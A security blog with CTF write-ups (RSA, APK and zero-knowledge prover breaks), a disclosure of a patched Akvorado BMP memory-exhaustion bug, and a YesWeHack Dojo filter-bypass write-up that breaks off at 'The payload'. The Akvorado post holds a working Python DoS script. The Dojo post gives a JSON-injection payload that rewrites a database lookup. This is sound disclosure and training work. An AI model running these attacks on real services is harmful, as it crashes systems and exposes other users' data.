0xBlu3Guy

Writeups for some of the BluBank CTF challenges

Tue, 20 Oct 2026 00:00:00 GMT

BluBank, one of Iran’s large banks, ran its CTF on Wednesday, 16 September 2026, with challenges across reversing, cryptography, mobile and web. I took part, and these are writeups for four of the challenges I solved: Matcha, GreenChain, SoftFocus, and a second instance of SoftFocus. They have almost nothing in common mechanically. One is a stripped x86-64 binary doing RSA with a modulus small enough to factor on a laptop. One is an Android app that encrypts its own trust anchor under a key derived from its package name. One is a zero-knowledge proof bundle that hides an eight-component secret behind three transcripts, which turns out to be barely enough equations.

The flags are all stale now, so I can write them up with the actual values in place. Two of the four needed no network at all, and the two web ones needed four requests each.

Disclosure

These challenges were solved with the help of AI. I set up the workspace and the rules the work ran under, and I checked the evidence behind every flag before recording it, but the reversing, the cryptanalysis and most of the scripts in these writeups were produced with AI assistance.

Challenge	Type	Flag
Matcha	reversing + crypto, local binary	`BDD{03d5a29801f0f97e40d84e83eb53562d}`
GreenChain	Android reversing + crypto	`BDD{steward_signed_the_green_chain}`
SoftFocus	crypto, broken zero-knowledge prover	`BDD{7ace6e3cf983d3b205de1dc3f2dd59af53f133981d8f5fe10b30df54dad1d4a1}`
SoftFocus (second instance)	same, fresh secrets	`BDD{43b4507edae2809cb031d7fd8b6ee9bff67d7b46fb5ac3143231a89bfabdd590}`

Matcha: RSA with a 19-digit modulus

The archive held two files:

matcha     ELF 64-bit LSB pie executable, x86-64, stripped, dynamically linked, 14528 bytes
flag.enc   ASCII text, 5 lines of 16 hex characters

strings told me the shape of the program before I opened a disassembler: fopen, fread, fwrite, the literals flag.txt and flag.enc, and the format string %016llx. It reads a plaintext flag, encrypts it, and writes one 64-bit value per line. Five lines mean five blocks of 8 bytes, so the flag is between 33 and 40 bytes.

.text is 0x621 bytes. At that size the whole program is readable by hand, so that is what I did: objdump -d -M intel into a file, readelf -h for the entry point. _start at 0x14a0 ends in a lea into main at 0x1100.

The block function

Inside main, the round function at 0x1290 runs once per 8-byte block:

1290  mov edi, 0xffffffa3
1299  sub edi, r13d                  ; edi = (0xffffffa3 - 8*block_index) & 0xffffffff
12cb  movzx edx, BYTE PTR [r14+rax]  ; plaintext byte
12d0  lea ecx, [rax*8]               ; shift = 8*j
12db  xor edx, edi                   ; XOR with low byte of edi
12dd  add edi, 0x5f                  ; edi += 0x5f   (rolling key)
12e3  shl rdx, cl
12e6  or  rsi, rdx                   ; little-endian assembly into S
12e9  cmp rax, 8 ; jne 12c0          ; 8 bytes per block

The key byte starts at 0xa3 and advances by 0x5f for every byte, so the mask changes inside a block as well as between blocks. Then S goes through a square-and-multiply loop with the exponent 0x10001 (65537, visible in two places), against the modulus 0x7c11472b66a24399:

12f4  mov r12d, 0x11                 ; 17-bit loop counter
12fa  mov ebp, 0x10001               ; 65537
131f  movabs rax, 0x7c11472b66a24399 ; modulus
1329  imul rax, r15
132d  sub rsi, rax                   ; rsi = S mod D
1330  cmp QWORD PTR [rip+0x2d10], 0  ; zero-initialised flag
1338  cmove rbx, rsi                 ; first use: key = S mod D

That is textbook RSA encryption of each block, with a public exponent of 65537 and a modulus that is 63 bits long. There is a key-derivation chain earlier in main that mixes a .data word (0xc0ffee00cafebabe) with the golden-ratio constant and writes the result back to memory. It is decorative: the value is overwritten before it reduces anything, and the modulus actually used is the literal in .text. I confirmed that empirically rather than by staring at it, which is the next section.

Proving the model before breaking it

A disassembly reading is a hypothesis until it predicts something. The binary itself is the best oracle I had, so I copied it into a scratch directory and ran it against chosen inputs, never touching the original flag.enc:

printf 'AAAABBBBCCCCDDDDEEEE' > flag.txt && ./matcha && cat flag.enc
1a630a78d52245da
6d417c9b413fb730
2ac5f8285adf5e64

A Python re-implementation of the reading above reproduces both that output and a second test vector exactly. My first model ignored the per-byte rolling key and failed this test, which is how the correct reading was forced. That failure is in my notes and it is worth keeping: the model was wrong, the oracle said so, and the oracle cost thirty seconds to run.

Factoring the locked box

D = 0x7c11472b66a24399 = 8940004987038221209
  = 3712189883 * 2408283323
lambda(D) = lcm(p-1, q-1)
d = e^-1 mod lambda(D) = 4109671331615865757

Both factors are around 2^31. A full RSA implementation with a 19-digit modulus is the joke of the challenge, and it means the “untouchable” cipher in the blurb is invertible with pow and a factoring tool.

One detail nearly cost me the last block. The binary reduces S mod D before exponentiating, so the ciphertext is invariant under S -> S + D, and decrypting returns m = S mod D. The true S is either m or m + D, and both re-encrypt to the identical ciphertext, so a round-trip check cannot tell them apart. Picking the printable ASCII candidate does, and in every block of flag.enc exactly one of the two candidates is text. The final block also has three leading zero bytes in m, because the buffer is not cleared before the short block is assembled, which is what says the real chunk is 5 bytes and not 8:

import math
D = 0x7c11472b66a24399
e = 65537
p, q = 3712189883, 2408283323
lam = (p-1)*(q-1)//math.gcd(p-1, q-1)
d = pow(e, -1, lam)

def unkey(S, i, n):
    edi = (0xffffffa3 - 8*i) & 0xffffffff
    out = bytearray()
    for j in range(n):
        out.append(((S >> (8*j)) & 0xff) ^ (edi & 0xff))
        edi = (edi + 0x5f) & 0xffffffff
    return bytes(out)

out = b""
for i, line in enumerate(open("flag.enc")):
    c = int(line, 16)
    m = pow(c, d, D)
    n = max(1, (m.bit_length() + 7) // 8)
    out += max((unkey(S, i, n) for S in (m, m+D)),
               key=lambda r: sum(0x20 <= b < 0x7f for b in r))
print(out.decode())

Getting and testing the flag

The challenge files are here: matcha (14 KB), flag.enc (85 B), and solve_matcha.py (8 KB), which is the solver written out as a script.

Keep the original flag.enc untouched.
Confirm the shape: file, strings -n 5.
Disassemble, find main, read the round function and the constants.
Test the model against the real binary with a chosen input.
Factor D, invert e, and run the solver.

# 1-3
cp flag.enc flag.enc.orig && chmod +x matcha
strings -n 5 matcha | tail -8
objdump -d -M intel matcha > matcha.disasm.txt

# 4: known-answer test, then check the model reproduces it
printf 'AAAABBBBCCCCDDDDEEEE' > flag.txt && ./matcha && cat flag.enc

# 5: factor and decrypt
python3 solve_matcha.py flag.enc
# BDD{03d5a29801f0f97e40d84e83eb53562d}

The test is the part I care about. The recovered plaintext goes back into the unmodified challenge binary:

printf 'BDD{03d5a29801f0f97e40d84e83eb53562d}' > flag.txt
./matcha
diff flag.enc flag.enc.orig && echo IDENTICAL
IDENTICAL

That check does not involve my solver at all. The binary that made the ciphertext regenerates it byte-for-byte from the flag I claim it contains, which is about as close to proof as a reversing challenge allows.

GreenChain: an Android vault that ships its own key

GreenChain.apk, package com.invoxes.greenchain, with exactly one permission, and it is AndroidX’s auto-generated local receiver permission. No android.permission.INTERNET. The whole challenge is offline, and no emulator or device was needed.

The APK has five dex files. classes.dex is 11 MB of AndroidX and classes2.dex is 514 KB of Material. The challenge lives in the small ones: classes3.dex (6.6 KB) and classes4.dex (10.4 KB), which decompile to five classes total. Starting from the smallest dex files is the shortcut here, and it saves reading 11 MB of library code looking for something that was never there.

Three assets carry the whole puzzle:

assets/season.txt    4 bytes   "2026"
assets/steward.dat  96 bytes
assets/flag.dat     64 bytes

96 bytes is a 16-byte IV plus 80 bytes of ciphertext, five AES blocks. 64 bytes is 16 plus 48, three blocks. Both blobs are IV-prefixed AES-CBC, which the decompiled StewardVault confirms.

The app verifies, it never signs

StewardClaim.verifyAndUnlock() checks a signature against a hard-coded public key, and only then decrypts the flag:

byte[] digest = StewardVault.claimMessageDigest();          // SHA256("greenchain-claim:v1")
boolean valid = Secp256k1.verifyClaimSignature(digest, signatureHex,
                                               StewardVault.STEWARD_PUBKEY_HEX);
if (!valid) return Result.fail("Invalid steward signature.");
String privHex = StewardVault.decryptStewardPrivateKeyHex(context);
String flag    = StewardVault.decryptFlag(context, privHex);
return Result.ok(flag);

The signature check looks like the barrier. It is not, because the private key that satisfies it is shipped inside the APK, encrypted under a key derived entirely from public constants:

String material = c.getPackageName() + buildSalt(c);   // "com.invoxes.greenchain" + "eco-2026"
byte[] digest   = sha256(material.getBytes(UTF_8));
byte[] key      = Arrays.copyOf(digest, 16);

The package name is in the manifest, eco- is a literal in the source, and the season ships in assets/season.txt. So:

Derivation	Value
salt	`eco-2026`
AES-128 key for `steward.dat`	`SHA256("com.invoxes.greenchaineco-2026")[:16]` = `90034cebb6a7868d233884eedb45d723`
decrypted steward key	`d92b206f1525872e69988c816811f57c6085978e3aa37013baf956adaf8ab5fe`
AES-128 key for `flag.dat`	`SHA256(steward_hex + "flag")[:16]` = `4ff5baa7f6db11fb0883c1553eba510d`

The check that makes this airtight

Decrypting something to a plausible-looking string is not proof that I found the right key. The proof here is a cryptographic identity check: derive the secp256k1 public key from the recovered private key and compare it to the constant the app trusts.

derived pub : 041c44e3f125897027892cd90ae3b4246ad4c65a99bccdf3cd3f0b34a754a9da
              3e550e1e0085d65707e98321a15543c8fe8fc80be3200a4ab79ec0fd0e5d5158d7
APK pub     : 041c44e3f125897027892cd90ae3b4246ad4c65a99bccdf3cd3f0b34a754a9da
              3e550e1e0085d65707e98321a15543c8fe8fc80be3200a4ab79ec0fd0e5d5158d7
MATCH       : yes

Exact match. The key recovered from the asset is the steward key the app trusts, not a key that happens to decrypt something.

Getting and testing the flag

The files are here: GreenChain.apk (9.6 MB) and greenchain_solve.py (10 KB). The APK is the challenge artifact itself, unmodified.

Read the manifest: package name, SDK, permissions.
Unpack the dex files and the assets.
Decompile the two small dex files and read StewardVault / StewardClaim.
Derive the AES key from the package name and the season, decrypt steward.dat to get the private key.
Confirm that key against the hard-coded public key.
Derive the flag key from the private key and decrypt flag.dat.

# 1-2
aapt dump badging GreenChain.apk | head -3
aapt dump permissions GreenChain.apk
unzip -o GreenChain.apk 'classes*.dex' 'assets/*' -d gc

# 3: jadx wants ABSOLUTE paths and a non-existent output dir
jadx -d gc/src3 --no-res "$PWD/gc/classes3.dex"
jadx -d gc/src4 --no-res "$PWD/gc/classes4.dex"

# 4-6
python3 greenchain_solve.py gc/assets
# BDD{steward_signed_the_green_chain}

Two jadx details cost me time. It resolves relative APK paths against its own install directory, so the APK argument has to be absolute. It also wants to create its output directory itself, so a mkdir -p beforehand fails with Can't create directory .../sources.

The flag was decrypted a second time with the OpenSSL CLI rather than my solver, so a bug in my own AES code could not produce a false positive:

openssl enc -d -aes-128-cbc -K 4ff5baa7f6db11fb0883c1553eba510d \
        -iv $(xxd -p /tmp/fiv.bin) -in /tmp/fct.bin
BDD{steward_signed_the_green_chain}

The lesson is not subtle. A derivation whose every input is public is obfuscation wearing the word “encryption”, and a trust anchor that ships the private half of itself is not a trust anchor. The app asks the player to earn trust with a signature, and then hands over the signing key inside the box.

SoftFocus: three transcripts, two lanes of randomness

The target was not a web application. It was a directory listing from SimpleHTTP/0.6 Python/3.11.16 serving three files: proof_bundle.json, prover.py, verifier.py. “The evidence is on your desk” is literal. I sent four requests in total, one second apart, and the whole challenge was offline after that.

The scheme is a Pedersen vector commitment plus a Schnorr-style proof of knowledge over a fixed safe-prime group, with p = 2q + 1, 256-bit parameters and dimension = 8:

commitment = prod_j generators[j] ** credential[j]   (mod p)
A[i]       = prod_j generators[j] ** offset[i][j]    (mod p)
z[i][j]    = offset[i][j] + c[i] * credential[j]     (mod q)
verify:  prod_j generators[j] ** z[i][j] == A[i] * commitment ** c[i]   (mod p)

The challenges c[i] are Fiat-Shamir hashes binding the parameters, the commitment, the transcript index, the route, A, and the attachment. Those bindings are all present and correct. The verifier accepts the published bundle, so this is not a tampered-bundle challenge. The proof is sound.

The secret is not behind an endpoint. The bundle carries a 69-byte attachment masked with a keystream keyed only by the credential:

digest = sha256(b"soft-focus.credential.v1" || credential[j] as 32-byte big-endian each)
keystream = shake_256(b"soft-focus.attachment.v1" || digest).digest(len(attachment))
plaintext = attachment XOR keystream

Recover the credential and the flag falls out. So the question is whether the proofs leak the credential, and the answer is in prover.py.

Where the randomness comes from

A correct implementation samples a fresh blinding vector per transcript. This one samples a single latent state of two lanes, once, and derives every transcript’s blind from it:

state  = tuple(sample_scalars(parsed.dimension, parsed.q) for _ in range(2))
offset = _apply_route(state, route, parsed.q)
#        = [ route[0]*state[0][j] + route[1]*state[1][j]  for j ]  mod q

Substitute that into the response equation and every transcript is linear in the unknowns s0, s1 and the credential V:

z[i][j] = route[i][0]*s0[j] + route[i][1]*s1[j] + c[i]*V[j]   (mod q)

Three transcripts, eight components, and per component that is three unknowns with three equations:

[ route[0][0]  route[0][1]  c[0] ] [ s0[j] ]   [ z[0][j] ]
[ route[1][0]  route[1][1]  c[1] ] [ s1[j] ] = [ z[1][j] ]
[ route[2][0]  route[2][1]  c[2] ] [ V[j]  ]   [ z[2][j] ]

Everything in the matrix is public: the routes are in the bundle ([23,71], [131,19], [211,173]) and the challenges are recomputable. Those routes span, so each 3x3 system inverts and V comes out in closed form with Gaussian elimination over GF(q). No discrete log, no forgery, no brute force. Two lanes of randomness cannot hide an eight-component secret from three transcripts: 24 equations, 24 unknowns.

Getting and testing the flag

The files the box served are here: proof_bundle.json (3.9 KB), prover.py (2.6 KB) and verifier.py (12 KB), alongside softfocus_solve.py (4.8 KB) and reproduce_flaw.py (2.3 KB). The second instance’s bundle is here; its prover.py and verifier.py are byte-identical to the first instance, which is why the attack carried over unchanged.

Take the bundle, the prover and the verifier.
Run the target’s own verifier on the bundle. It passes, so the proof is sound and the leak has to be somewhere else.
Read prover.py and find where the blinds come from.
Recompute the three challenges, build the 3x3 system per component, solve for the credential.
Recompute the commitment from the recovered credential and compare.
Unmask the attachment with the keystream.

python3 verifier.py proof_bundle.json    # OK: proof bundle verifies
python3 softfocus_solve.py proof_bundle.json
# BDD{7ace6e3cf983d3b205de1dc3f2dd59af53f133981d8f5fe10b30df54dad1d4a1}

# the flaw is structural, not one lucky bundle
python3 reproduce_flaw.py proof_bundle.json
# [PASS] attack recovers a freshly generated credential from the target's own prover

Two checks made this a finding rather than a guess. First, the recovered credential reproduces the target’s own published commitment, which the target computed before the bundle was ever public:

recomputed = 5e3f4795d59b81513a2d99a6f6061490e4ae3e3201f1fbeae25080bf83d961e5
published  = 5e3f4795d59b81513a2d99a6f6061490e4ae3e3201f1fbeae25080bf83d961e5

Second, a separate verifier re-implements the challenge derivation, the commitment, the linear solve and the keystream from scratch, without importing the target’s verifier.py, so a shared bug cannot make a wrong answer look right.

The check I like most is the third one. reproduce_flaw.py runs the target’s own prover on a credential I chose at random, then attacks the freshly generated proof:

[*] credential chosen by us  : 30c604da5c3fd3e10db1184b6be0461c782d1b3204034757e78fdfd36146f505 ...
[*] credential recovered     : 30c604da5c3fd3e10db1184b6be0461c782d1b3204034757e78fdfd36146f505 ...
[PASS] attack recovers a freshly generated credential from the target's own prover

That moves the claim from “I broke this one bundle” to “the randomness derivation is broken”, which is the difference between a solve and an understanding.

The fix is one line of intent: sample an independent blinding vector inside the transcript loop instead of projecting one two-lane state through the routes. With independent blinds, the response equations no longer share unknowns and the system has more unknowns than equations.

The dead end worth recording

The obvious attack is to look for a linear dependence among the challenges: find mu = (1, l1, l2) such that l1*route[1] + l2*route[2] = route[0] and sum mu_i*c_i = 0 mod q. That would let me eliminate the blinds without touching the state. It does not work, and the reason is worth understanding: the challenge hash commits to commitment, which depends on (s0, s1, V), while the route relation constrains only (s0, s1). Verified numerically: the sum comes out to 1869…7704 mod q, not zero. That failure is what pointed me at solving for the state instead.

The same challenge, served again

The platform handed out a second instance of SoftFocus on a different host. prover.py and verifier.py were byte-identical to the first instance; only the bundle differed, with a fresh credential and blinding state. The flaw was unchanged, so the attack was the same, and it took four requests again.

What made the repeat cheap was generalising the PoCs instead of copying them. The solver now takes a bundle path as an argument, and the verifier checks the BDD{64 hex} format rather than comparing against a hardcoded flag literal. That literal was a transcription slip waiting to happen on the first instance, and removing it meant the second instance needed no edits at all.

The new flag differed from the first, which is the useful part: the same unpatched defect produced a different secret, so this was not a cached answer from the earlier run.

Tools

Tool	Used for
`objdump -d -M intel`, `readelf`, `strings`	Matcha disassembly and triage
`jadx`	GreenChain dex decompilation
`aapt dump badging/permissions`	Reading the Android manifest without a device
`unzip`, `xxd`, `dd`	Pulling dex files and assets, splitting IV from ciphertext
`openssl enc -d -aes-128-cbc`	Independent AES decryption for verification
`sympy`	Factoring the 63-bit modulus once, interactively
`python3` + `cryptography` 45.0.7	secp256k1 point derivation and ECDSA verification
`curl`	Four requests per SoftFocus instance, serial, one second apart

No scanners, no fuzzers, no wordlists on the web challenges. The two local challenges sent nothing anywhere.

What I took away

Known plaintext beats a confident disassembly. On Matcha, my model was wrong once, and running the real binary against a chosen input caught it in seconds. Any claim about what a binary does is testable against the binary.
Verify with a different tool than the one that found it. The GreenChain flag came out of my solver and was confirmed by openssl on the command line. The SoftFocus credential came out of Gaussian elimination and was confirmed by recomputing the commitment the target published. Sharing code between the solve and the check means sharing bugs.
Proofs are only as private as their randomness. The SoftFocus verifier is correct and the bundle passes it. The zero-knowledge property still fails, because the blinds came from a two-lane state and there were three transcripts. Soundness and privacy fail in different places, and a passing verifier only tests one of them.
A trust anchor you ship is not a trust anchor. GreenChain’s signature gate is real cryptography wrapped around a key that travels with the app, encrypted under something every user already has.
Write the dead ends down. The failed linear-dependence attack on SoftFocus, the wrong Matcha model, the jadx path rules, the RSA S versus S + D ambiguity: each one cost me time once and would have cost it again.

A 6-byte packet exhausts memory in Akvorado's BMP server

Sun, 04 Oct 2026 00:00:00 GMT

We run Akvorado at work. It is a flow collector and visualizer: it takes NetFlow, IPFIX and sFlow from our routers and turns them into per-user traffic numbers we use for billing. I open it most days to answer a question. I did not expect to end up reporting a vulnerability in it.

What I do expect, whenever I have the time, is to poke at the tools I use: read how they parse input, click the paths that are not meant for me, wonder what happens with something the tool is not expecting. Akvorado learns routing context over BMP, the BGP Monitoring Protocol, which means it runs a server that routers connect to and stream raw binary messages into. BMP messages are length-prefixed. A length-prefixed parser is the kind of code I cannot leave alone, so one afternoon I stopped using the tool and started reading how it reads.

The payoff was larger than I expected. One 6-byte packet makes the server reserve about 4 GiB of memory, and a handful of connections is enough to crash the process. No login, no handshake, and the listener is on by default. Finding something like that in software you rely on is a mixed feeling. The maintainers confirmed it, fixed it and credited me, so it is public now and I can write it up.

TL;DR

The BMP read loop takes the 4-byte Length field from each message and computes Length - 6 to size the body buffer, in unsigned 32-bit arithmetic. Any Length below 6 underflows to roughly 4.29 billion, so one tiny packet asks for about 4 GiB. io.ReadFull then blocks waiting for a body that never arrives, and the allocation stays pinned to the connection. Eight connections reached 34 GiB and the process died. The fix is to reject any length smaller than the header before allocating.

One minute on BMP

Most of what I understand about BMP, I owe to our network manager, who walked me through it more than once while I kept asking why it behaves the way it does.

The only part that matters here is the common header, defined in RFC 7854. Every BMP message starts with 6 bytes:

Version (1 byte)
Message Length (4 bytes), the total length of the message including the header
Message Type (1 byte)

A receiver reads those 6 bytes, learns how long the whole message should be, and reads the rest. The length field is attacker-controlled by definition. It is whatever the peer on the other end of the TCP connection says it is.

The line that caught my eye

I was skimming the read loop in outlet/routing/provider/bmp/serve.go when this stopped me:

body := make([]byte, msg.Header.Length-bmp.BMP_HEADER_SIZE)
_, err = io.ReadFull(conn, body) // blocks until `body` is filled

A buffer sized straight from a number that came off the wire is the first thing I look for in a parser of this shape, and it raises the same two questions every time. What are the bounds of that value, and does anything check them before the code trusts it? I read the surrounding code twice looking for a guard. There is none, and the arithmetic below makes the worst case worse than a plain large allocation.

Subtraction that wraps

BMP_HEADER_SIZE is 6 and msg.Header.Length is a uint32. Subtracting one from the other gives the body size, which is correct as long as Length is at least 6. Unsigned subtraction does not go negative. It wraps:

`Length` sent	`Length - 6`	Allocation
0	wraps	4,294,967,290 bytes (~4 GiB)
1	wraps	4,294,967,291 bytes (~4 GiB)
5	wraps	4,294,967,295 bytes (~4 GiB)

A Length of 0 asks for about 4 GiB, not 0 bytes. What turns that into a dependable problem rather than a transient one is the next line: because the attacker never sends a body, io.ReadFull blocks forever waiting for bytes that will not come. The buffer is never freed. It stays reserved for the lifetime of the connection, and the attacker controls that lifetime by doing nothing, simply by not closing the socket.

Six bytes that prove it

I did not want to argue from theory, so I wrote the smallest thing that could demonstrate it. The length header is the first thing the server parses, so the whole exploit fits in six bytes and there is no handshake to get past:

03 00 00 00 00 04

Against the common header:

03: BMP version 3, which passes the version check
00 00 00 00: Length = 0, the underflow trigger
04: message type (initiation), a value the server accepts

Sending it:

import socket
s = socket.create_connection(("outlet-host", 10179))
s.sendall(bytes.fromhex("030000000004"))

That pins roughly 4 GiB and holds the socket open. One socket proves the allocation. The crash needs a handful, and since the trick is to do nothing after sending, “scaling” is just keeping the sockets referenced so Python does not garbage-collect them out from under you:

import socket, time

PACKET = bytes.fromhex("030000000004")
conns = []
for _ in range(4):
    s = socket.create_connection(("outlet-host", 10179))
    s.sendall(PACKET)
    conns.append(s)  # keep a reference so the socket stays open

time.sleep(3600)  # sit here doing nothing; the ~4 GiB per connection stays pinned

Four connections is about 16 GiB reserved from four 6-byte packets. Point it at a box with less headroom, or raise the range, and you are at the out-of-memory line.

Watching it fall over

What makes this a 7.5 rather than a footnote is the context around that one line. The BMP listener is enabled by default and binds port 10179 on all interfaces, so on a default deployment there is no configuration step and no credential between an attacker and the bug. In CVSS terms it is A:H with C:N/I:N: it takes the service down without touching data.

I stood up my own instance and watched it happen, because watching a number climb is more convincing than reasoning about it. With htop open next to the terminal I was firing packets from, I opened connections one at a time and watched the VIRT column for the Akvorado process. Eight was enough. Virtual memory reached 34.03 GiB and the process died with:

runtime: out of memory: cannot allocate 4294967296-byte block

Scaling the attack is not clever. It is opening more sockets. That is the part that sat with me while I remembered this is the tool we point at our own traffic every day.

The fix

The fix is the check that should have been there from the start: reject any length smaller than the header before using it to size anything.

if msg.Header.Length < bmp.BMP_HEADER_SIZE {
    logger.Warn().Uint32("length", msg.Header.Length).
        Msg("invalid BMP message length")
    return nil
}
body := make([]byte, msg.Header.Length-bmp.BMP_HEADER_SIZE)

A sane upper bound on message size is worth adding at the same time, so that a large but technically valid length cannot be used for a big allocation either. The patch landed in 2026.10.0. If you expose BMP or IPFIX on an untrusted network, upgrade before you finish reading this.

Disclosure

I reported this to the Akvorado maintainers, who confirmed it quickly and shipped the fix. I am credited in both the advisory and the 2026.10.0 release notes.

Field	Value
Advisory	GHSA-wr88-h9r3-fqh3
Severity	High, CVSS 7.5 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`)
Weaknesses	CWE-20, CWE-191, CWE-400
Affected	2.0.0-beta.1 through 2026.8.1
Patched	2026.10.0

What I took away

Length fields that feed allocations are where I probe first. Before anything clever, I test the boundaries of a size value that came off the wire: zero, values below the header size, and values near the integer maximum. This bug lived at the smallest input, not the largest.
Unsigned subtraction is a trapdoor. a - b with a < b does not error in uint32, it wraps to something enormous. Any subtraction on attacker-influenced unsigned values needs a bounds check first, every time.
An allocation is only half of the primitive. What made this a reliable crash was that io.ReadFull blocked and kept the memory pinned. The damaging resource bugs are the ones where the attacker controls the size and how long it stays reserved.
A default-on listener changes the severity. The same flaw behind an off-by-default feature would be a much smaller issue. This one shipped enabled on all interfaces, and that is most of the distance between “bug” and “unauthenticated remote crash.”

What stayed with me is how ordinary the setup was. I was not fuzzing anything exotic. I was reading a tool I already trusted, following a habit, and the bug was sitting in plain sight.

YesWeHack Dojo #54: One Accent Past the Filter

Tue, 29 Sep 2026 00:00:00 GMT

This is the YesWeHack Dojo challenge of the month #54, “Highscore.” It’s a small web challenge with a game-like front end: an INPUTS tab where you type a string, a SUBMIT button, and a HUD that reports the state of a FILTER as ONLINE, BLOCKED or BYPASSED. Somewhere behind that filter is a flag, and the whole game is figuring out what to type in one box to get it.

TL;DR

Two bugs chain into reading another account’s session. A “letters only” filter measures the input’s length in characters but reads it as bytes, so a run of multi-byte padding (accented é) walks straight past it and drags a " into a JSON string that is built by hand. That quote lets me inject a second session key, and JSON’s last-key-wins rewrites the database lookup into WHERE id = 1, the row whose session column holds the flag.

Mapping what the box does

Before touching payloads I wanted the pipeline. Where does my string go, and what touches it on the way? Reading the challenge code, the path is short:

INPUT box  →  Url Encode node  →  parseCookie(input)  →  Users.findOne({ where: ... })

My string is URL-encoded, handed to a function called parseCookie(), and whatever that function returns is used as the lookup filter for a database query. That last part is the interesting bit. The result of parsing my input doesn’t get compared to anything, it becomes the where clause:

const record = await Users.findOne({ where: cookie["session"] });

That distinction is the whole game. With an ORM, findOne({ where: {...} }) turns the object I hand it into a SQL query: { id: 1 } becomes WHERE id = 1, { session: "abc" } becomes WHERE session = 'abc'. So if I can control the object, I’m not just supplying a value to a fixed query, I’m choosing which column it matches and what it matches against. That is a much bigger primitive than “user-controlled value,” and it’s the same family of bug as NoSQL and ORM object injection, where passing an object where the app expected a string lets you rewrite the query itself.

So if I can control what cookie["session"] ends up being, I control which row comes back. The rows that matter:

lookup	account	what its `session` column holds
`WHERE id = 1`	`brumens`	the flag
`WHERE id = 2`	`bob`	a flag-shaped value the challenge does not accept

Row 1 is the prize. The whole challenge collapses into a single question: can I steer parseCookie() into returning an object that selects brumens, row 1?

The one guard

Between my input and that query, there is exactly one check. parseCookie() runs the string through a letter filter first:

const bytes = Buffer.from(session, 'utf8');
for (let i = 0; i < session.length; i++) {
  const b = bytes[i];
  const isLetter = (b >= 0x41 && b <= 0x5a) || (b >= 0x61 && b <= 0x7a) || b >= 0x80;
  if (!isLetter) throw new Error('invalid game session');
}

Read literally, that loop says the session may only contain letters: A-Z, a-z, or a high byte (>= 0x80). Anything else throws invalid game session. Right after the filter, the parsed value is built by hand:

return JSON.parse(`{"id":${id}, "session":{"session":"${session}"}}`);

Two things jumped out reading these together, and each one turned into a bug: the loop, and this hand-built JSON string.

Probe 1: is the comparison the way in?

First instinct: maybe the session I control is compared against the stored flag somewhere, so I can just type the flag’s shape. I tried a plain letters-only string.

It builds fine, no error, but nothing happens. The value I supply is checked against a value I don’t know, and there is nothing typable that equals it. Dead end, but a useful one: the way in is not matching the secret, it’s controlling the query. That refocused me on cookie["session"] flowing into where.

Probe 2: can I break out of the JSON string?

If the parsed object is what matters, the hand-built JSON string is the lever. My session is dropped between two double quotes with no escaping, so a " typed in my input should close the string early and let me write JSON structure instead of string content. I tried ASCII letters plus a quote, something like aaaa"....

Rejected: invalid game session. The letter filter sees the " (byte 0x22), which is below 0x41 and isn’t a high byte, and throws. That confirmed two things at once: the quote breakout is real and worth pursuing, but the filter stands in the way, so I need to slip a " past a check that only allows letters and high bytes.

Probe 3: the filter’s own bug

Back to the loop, and this time the mismatch is obvious once you’re looking for it. It counts in characters (session.length and i) but indexes in bytes (bytes[i]).

Why those can differ needs one detour into UTF-8. Text is stored as bytes, and UTF-8 uses a variable number of bytes per character: plain ASCII (A-Z, a-z, digits, common punctuation) is one byte each, but accented and non-Latin characters take two, three, or four. é is two bytes, C3 A9. Meanwhile JavaScript’s String.length counts UTF-16 code units (for é, one), while Buffer.from(session, 'utf8') gives the actual bytes (for é, two). So the two counts only agree while the input is pure ASCII.

Watch what that does to the loop when the input is "aaé":

index `i`	0	1	2	3
`bytes[i]`	`0x61` (`a`)	`0x61` (`a`)	`0xC3`	`0xA9`
read by the loop (`i < 3`)	yes	yes	yes	no, skipped

The two bytes 0xC3 0xA9 together are the single character é, so session.length is 3 but bytes has four entries. The loop’s last read is bytes[2]; bytes[3] sits one step past the finish line and is never checked. Every extra multi-byte character pushes one more real byte off the end of the loop’s reach, so the tail of the input goes completely uninspected.

And here’s what makes it exploitable rather than merely wrong. If I pad the front of my input with a run of multi-byte characters, two things happen at once. Every byte the loop does read from that padding is a lead or continuation byte, all >= 0x80, which is exactly the branch the filter accepts, so the visible part sails through. Meanwhile every padding character shortens the loop’s reach relative to the byte array, so my real payload ends up beyond the loop’s stopping point and is never checked at all. My " can hide in that blind region.

I tested it with a single multi-byte character as the whole input. It was rejected, which is the confirmation I wanted, not a failure: one padding character isn’t enough to move the loop’s stopping point past the payload, so the read still lands on my real bytes and throws. The bypass depends on the gap being wide enough, not on some other parsing quirk. I just needed more padding.

Note

The character choice matters as much as the count, and this is where the Url Encode step in the pipeline comes in. It surprised me: a stock encodeURIComponent('é') returns %C3%A9, and that % (byte 0x25) would fail the letter test and break the payload. In this challenge, though, the encode step passes é through as its literal C3 A9 bytes, while a character in the U+0400 to U+07FF range does come out percent-encoded. So é is the clean choice: two bytes, both >= 0x80, reaching the filter intact. I pinned down which characters survive by testing them rather than trusting my mental model of the encoder.

Probe 4: building a valid injection

Now I have a way to smuggle a " past the filter. The remaining problem is that JSON.parse() still has to succeed: the whole string must be well-formed JSON, including the template’s own trailing "}}. So the breakout has to open and close every bracket it introduces and leave the tail balanced.

The object I want to end up with is {"id":1}, because that becomes WHERE id = 1 and selects brumens. The trick is JSON’s last-key-wins behaviour: when an object literal lists the same key twice, the last value is the one that survives. JSON.parse('{"a":1,"a":2}') returns { a: 2 }, not an error. The template already opens a session key for me, so if I inject a second session key later in the string, mine is the one that wins. Here’s the shape I aimed the parser at:

{"id":0, "session":{"session":"<pad>"},"session":{"id":1},"pad":{"x":""}}

Walking the tokens my input supplies, after the padding:

" closes the injected session string,
} closes the inner session object the template opened,
,"session":{"id":1} adds the duplicate session key, the one that wins,
,"pad":{"x":" opens one last key so the template’s own trailing "}} closes it cleanly instead of dangling.

Concretely, with the id set to 0 and the session filled in, the exact string handed to JSON.parse() is (padding shortened here):

{"id":0, "session":{"session":"ééé…é"},"session":{"id":1},"pad":{"x":""}}

That is valid JSON, and last-key-wins collapses the two session keys into the second one, so it parses to:

{ id: 0, session: { id: 1 }, pad: { x: "" } }

cookie["session"] is therefore { id: 1 }, and that object flows straight into Users.findOne({ where: ... }) as WHERE id = 1. Row 1 is brumens, the flag row.

One value I had to find by testing: the padding needs to be at least 34 é characters before the loop’s stopping point clears the payload. Fewer than that and the read runs onto my real bytes and throws. I used 40 for margin.

The payload

